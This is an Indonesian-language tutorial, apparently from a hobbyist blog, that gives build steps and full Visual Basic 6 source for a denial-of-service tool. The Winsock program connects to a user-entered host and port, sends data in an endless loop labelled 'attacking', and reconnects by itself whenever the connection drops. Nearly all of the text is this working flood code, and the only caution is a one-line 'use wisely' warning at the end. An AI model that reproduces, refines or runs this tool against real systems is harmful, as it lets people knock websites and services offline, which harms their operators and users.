script app Ddos dgn VB

1. Buka Visual Basic 6 sobat.
2. Buat project baru,
3. Masukkan componen Microsoft Winsock Control
4. Masukkan coding berikut

Dim FILENAME As String, listItem As String

Private TransferRate As Single
Private TransferRate2 As Single
Private Xstart As Long
Private Ystart As Long
Private m_objIpHelper As CIpHelper

'Deklarasikan fungsi API untuk mengeksekusi suatu 'Hyperlink
Private Declare Function ShellExecute _
Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd _
As Long, ByVal lpOperation As String, ByVal lpFile _
As String, ByVal lpParameters As String, ByVal _
lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1  'Konstanta untuk menampilkan 'jendela normal

Private Sub CMDMULAI_Click()
TXTURL.Text = Replace(TXTURL.Text, "http://", "")
Sock.Close
Sock.Connect TXTURL, TXTPORT
Timer1.Enabled = True
SIMPAN_PESAN
On Error Resume Next
Timer1.Interval = TXTWAKTU.Text
End Sub

Private Sub CMDSTOP_Click()
Sock.Close
Timer1.Enabled = False
lblStatus.Caption = "Putus"
lblStatus.ForeColor = &HFFFFFF
LBLWARN.Caption = "Menunggu perintah"
Timer2.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Interval = TXTWAKTU.Text
LOAD_PESAN
'Fungsi penggunaan badwith internet
Set m_objIpHelper = New CIpHelper
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFFFF&
End Sub

Private Sub Form_Unload(Cancel As Integer)
Sock.Close
End
End Sub

Private Sub LBLSITUS_Click()
Dim situs As Long
  'Tampilkan program default untuk membuka situs ke
  'alamat lblSitus
  situs = ShellExecute(0, vbNullString, _
          LBLSITUS, "", "", vbNormalFocus)
  LBLSITUS.ForeColor = &H8000& 'Setelah diklik, berubah
                               'warna
End Sub

Private Sub LBLSITUS_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LBLSITUS.ForeColor = &HFF&
LBLSITUS.MousePointer = 2
End Sub

Private Sub MNUUP_Click()
FRMUP.Show
End Sub

Private Sub SocK_Close()
 lblStatus.Caption = "Putus"
End Sub

Private Sub SocK_Connect()
lblStatus.Caption = "Tersambung"
End Sub

Private Sub SocK_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.Close
lblStatus.Caption = "Soket error"
End Sub

Private Sub Timer1_Timer()
Dim DATA As String
DATA = TXTDATA.Text
If Sock.State = sckConnected Then
        Do
        On Error GoTo REMUK
        Sock.SendData DATA
     
        lblStatus = "Menyerang"
        lblStatus.ForeColor = &HFF00&
        LBLDATA.Caption = Sock.SocketHandle
        DoEvents
        lblSent.Caption = lblSent.Caption + 1
        Loop
REMUK:
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
        Timer2.Enabled = True

Else
      
        CMDSTOP_Click
        Timer2.Enabled = True
        LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
End If
End Sub

Private Sub Timer2_Timer()
LBLWARN.Caption = "Koneksi putus. Mencoba koneksi kembali ..."
If Timer2.Interval = 2000 Then
CMDMULAI_Click
Timer2.Enabled = False
LBLWARN.Caption = "Asyik ... terkoneksi lagi ... dech!!"
End If
End Sub

Private Sub tmrPoll_Timer()
tmrPoll.Enabled = False
  On Error GoTo ErrH
  Dim objInterface        As CInterface
  Static lngBytesRecv     As Long
  Static lngBytesSent     As Long
  Dim lIn As Long, lOut As Long

  Set objInterface = m_objIpHelper.Interfaces(1)
  lIn = m_objIpHelper.BytesReceived - lngBytesRecv - 3296
  lOut = m_objIpHelper.BytesSent - lngBytesSent - 3296
  If lIn < 0 Then lIn = 0
  If lOut < 0 Then lOut = 0

  LBLDOWNLOAD.Caption = "DL: " & GetTransferRate(lIn) & "/sec"
  LBLUPLOAD.Caption = "UL: " & GetTransferRate(lOut) & "/sec"
  picGraph.ScaleMode = 3
  DrawUsage picGraph, lIn, lOut
  lngBytesRecv = m_objIpHelper.BytesReceived
  lngBytesSent = m_objIpHelper.BytesSent
  DoEvents
  tmrPoll.Enabled = True
Exit Sub
ErrH:
  tmrPoll.Enabled = True
  Debug.Print Err.Description
End Sub

Function GetTransferRate(pDiff As Long) As String
  Dim d As Double

   d = pDiff / 1024
  If d < 1024 Then
    GetTransferRate = Trim(Format(d, "#,##0.00")) & " Kb"
    Exit Function
  End If

  ' Mbytes
  d = pDiff / 1024
  GetTransferRate = Trim(Format(d, "#,##0.00")) & " Mb"
End Function

Private Sub TXTPORT_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Private Sub TXTWAKTU_KeyPress(KeyAscii As Integer)
If Not (KeyAscii >= Asc("0") & Chr(13) _
     And KeyAscii <= Asc("9") & Chr(13) _
     Or KeyAscii = vbKeyBack _
     Or KeyAscii = vbKeyDelete _
     Or KeyAscii = vbKeySpace) Then
        Beep
        KeyAscii = 0
   End If
End Sub

Sub LOAD_PESAN()
FILENAME = App.Path & "/PESAN.txt"
TXTDATA.Text = ""

On Error Resume Next
Open FILENAME For Input As #1
    Do While Not EOF(1)
        Input #1 & vbNewLine, listItem
        'If Not (listItem = "") Then
            TXTDATA.Text = listItem
        'End If
    Loop
 
Close #1

End Sub

Sub SIMPAN_PESAN()
Open App.Path & "/PESAN.txt" For Output As #1
Print #1, TXTDATA.Text
Close
End Sub

3. Simpan dan jalankan project sobat.




Warning: Hati - hati dalam menggunakan tool ini. Gunakan secara bijak